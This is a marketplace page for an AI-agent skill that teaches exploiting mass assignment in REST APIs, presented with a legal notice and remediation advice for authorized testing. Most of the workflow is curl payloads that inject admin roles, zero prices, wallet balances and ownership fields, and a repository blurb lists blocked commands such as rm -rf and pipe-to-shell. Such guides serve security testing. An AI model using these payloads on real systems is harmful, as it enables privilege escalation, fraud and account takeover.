Skip to main content Inicio Creadores yanacuti1121 yana-ai exploiting-mass-assignment-in-rest-apis
exploiting-mass-assignment-in-rest-apis Discover and exploit mass assignment vulnerabilities in REST APIs to escalate privileges, modify restricted fields, and bypass authorization controls by injecting unexpected parameters in API requests.
Ir a la instalación Skills Marketplace Descubre y explora habilidades de IA creadas por la comunidad.
Instalar con Codex o Claude Copia este prompt, pégalo en Codex, Claude u otro asistente, y deja que revise la página de la skill y la instale por ti.
Copiar promptMostrar detalles del prompt Un comando directo omite el prompt de revisión. Revisa el origen antes de ejecutarlo.
npx skills add https://github.com/yanacuti1121/Yana-AI --skill exploiting-mass-assignment-in-rest-apisEl comando permanece en una sola línea. Desplázate horizontalmente para revisarlo antes de copiarlo.
¿Prefieres una copia local? Descarga los archivos que SkillsMP tiene disponibles ahora.
Descargar Zip Descargando... Más de este repositorio Sovereign-grade safety OS for AI coding agents. 62 hooks, 2,025 skills, L1 memory, circuit breakers, and cross-engine enforcement — blocks rm -rf, force push, pipe-to-shell, and 40+ attack vectors before they reach your repo.
Use when the user wants to generate or keep repository documentation up to date via OpenWiki (langchain-ai/openwiki) — an LLM-driven CLI that writes a wiki for a codebase (or a personal knowledge base from Notion/Gmail/Slack/X/web search) and keeps it fresh via a scheduled CI pull request. Examples: "set up OpenWiki for this repo", "keep the docs updated automatically", "generate an agent wiki".
augmented-reality-from-scratch Use when implementing the core AR pipeline (camera pose estimation, marker tracking, projection overlay) from first principles — not when just using ARKit/ARCore/Unity's AR framework as a black box. Triggers on: 'build augmented reality from scratch', 'marker-based AR tracking', 'camera pose estimation', 'implement fiducial marker detection', 'AR projection matrix math', 'markerless AR tracking'. Covers marker-based vs markerless tracking, pose estimation, and the projection math to overlay 3D content on a camera feed.
Ocupaciones relacionadas SOC
Basado en la clasificación ocupacional SOC
Explorador de archivos
4 archivos name exploiting-mass-assignment-in-rest-apis description Discover and exploit mass assignment vulnerabilities in REST APIs to escalate privileges, modify restricted fields, and bypass authorization controls by injecting unexpected parameters in API requests. domain cybersecurity subdomain web-application-security tags ["mass-assignment","api-security","privilege-escalation","rest-api","autobinding","parameter-injection","owasp-api"] version 1.0 author mahipal license Apache-2.0 nist_csf ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] mitre_attack ["T1190","T1059.007","T1505.003","T1083","T1068"] source https://github.com/mukul975/Anthropic-Cybersecurity-Skills source_commit 04450304b12645cb2b974ab96d28c0664758a88d
Exploiting Mass Assignment in REST APIs
When to Use
When testing REST APIs that accept JSON input for creating or updating resources
During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)
When testing user registration, profile update, or account management endpoints
During bug bounty hunting on applications with CRUD API operations
When evaluating role-based access control implementation in API-driven applications
Prerequisites
Burp Suite or Postman for API request crafting and interception
Understanding of ORM auto-binding behavior in common frameworks
API documentation or endpoint discovery through reconnaissance
Multiple user accounts with different privilege levels for testing
Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)
Arjun or param-miner for hidden parameter discovery
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Discover API Structure and Fields
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"
Step 2 — Test Privilege Escalation via Role Fields
curl -X PUT http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d
curl -X PATCH http://target.com/api/users/me \
-H \
-H \
-d
curl -X PATCH http://target.com/api/users/me \
-H \
-H \
-d
curl -X POST http://target.com/api/register \
-H \
-d
'{"username":"testuser","email":"test@test.com","role":"admin"}'
"Authorization: Bearer USER_TOKEN"
"Content-Type: application/json"
'{"isAdmin":true}'
"Authorization: Bearer USER_TOKEN"
"Content-Type: application/json"
'{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'
"Content-Type: application/json"
'{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'
Step 3 — Test Financial and Business Logic Fields
curl -X POST http://target.com/api/orders \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id":1,"quantity":1,"price":0.01}'
curl -X PATCH http://target.com/api/wallet \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"balance":999999}'
curl -X POST http://target.com/api/checkout \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'
curl -X PATCH http://target.com/api/subscription \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"plan":"enterprise","price":0}'
Step 4 — Test Verification and Status Fields
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"email_verified":true,"verified":true,"active":true}'
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"status":"active","banned":false,"suspended":false}'
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'
Step 5 — Test Relationship and Foreign Key Manipulation
curl -X PATCH http://target.com/api/documents/123 \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"owner_id":"admin-user-id"}'
curl -X PATCH http://target.com/api/projects/456 \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"team_id":"privileged-team","access_level":"write"}'
curl -X PATCH http://target.com/api/entries/789 \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"created_at":"2020-01-01","created_by":"other-user-id"}'
Step 6 — Automate Mass Assignment Testing
python3 mass_assignment_tester.py \
--url http://target.com/api/users/me \
--method PATCH \
--token "Bearer USER_TOKEN" \
--fields-file mass_assignment_fields.txt
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/mass-assignment.yaml
Key Concepts Concept Description Mass Assignment ORM auto-binding of request parameters to model attributes without restriction Autobinding Framework feature that maps HTTP parameters directly to object properties Allowlist Server-side list of permitted fields for update operations (strong_parameters in Rails) Denylist List of forbidden fields (less secure than allowlist approach) Hidden Fields Server-managed fields (role, balance) not shown in forms but accepted by API DTO (Data Transfer Object) Pattern using separate objects for input vs. database to prevent mass assignment Parameter Pollution Sending unexpected extra parameters alongside legitimate ones
Tools & Systems Tool Purpose Burp Suite API request interception and parameter injection Postman API testing and collection-based mass assignment testing Arjun Hidden parameter discovery tool for API endpoints param-miner Burp extension for discovering hidden parameters OWASP ZAP Automated API scanning with parameter injection swagger-codegen Generate API clients from OpenAPI specs for testing
Common Scenarios
Admin Privilege Escalation — Inject "role":"admin" or "isAdmin":true in profile update to gain administrative access
Price Manipulation — Modify price or discount fields in order creation endpoints to purchase items at reduced cost
Email Verification Bypass — Set email_verified:true during registration or profile update to bypass verification requirements
Account Takeover — Modify email or phone fields to attacker-controlled values, then trigger password reset
Subscription Upgrade — Inject plan:"enterprise" in subscription update to gain premium features without payment
Output Format ## Mass Assignment Vulnerability Report
- **Target**: http://target.com/api/users/me
- **Method**: PATCH
- **Framework**: Ruby on Rails (detected via X-Powered-By)
### Findings
| # | Endpoint | Injected Field | Original | Modified | Impact |
|---|----------|---------------|----------|----------|--------|
| 1 | PATCH /api/users/me | role | "user" | "admin" | Privilege Escalation |
| 2 | POST /api/orders | price | 99.99 | 0.01 | Financial Loss |
| 3 | PATCH /api/users/me | email_verified | false | true | Verification Bypass |
### Remediation
- Implement allowlist (strong_parameters) for all model update operations
- Use DTOs/ViewModels to decouple API input from database models
- Apply field-level authorization checks on sensitive attributes
- Log and alert on attempts to modify restricted fields